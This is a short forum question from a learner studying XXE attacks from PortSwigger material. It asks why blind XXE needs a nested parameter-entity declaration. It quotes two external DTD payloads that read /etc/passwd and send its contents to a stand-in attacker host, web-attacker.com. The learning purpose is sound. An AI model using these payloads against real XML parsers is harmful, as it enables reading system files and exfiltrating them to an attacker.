I've been studying XXE attacks through portswigger blog.
I don't understand the extra step of a dynamic declaration (i.e. <!ENTITY % eval...
) in the below external DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
Why not simply skip this dynamic declaration and instead write:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>
%exfiltrate;
Any ideas?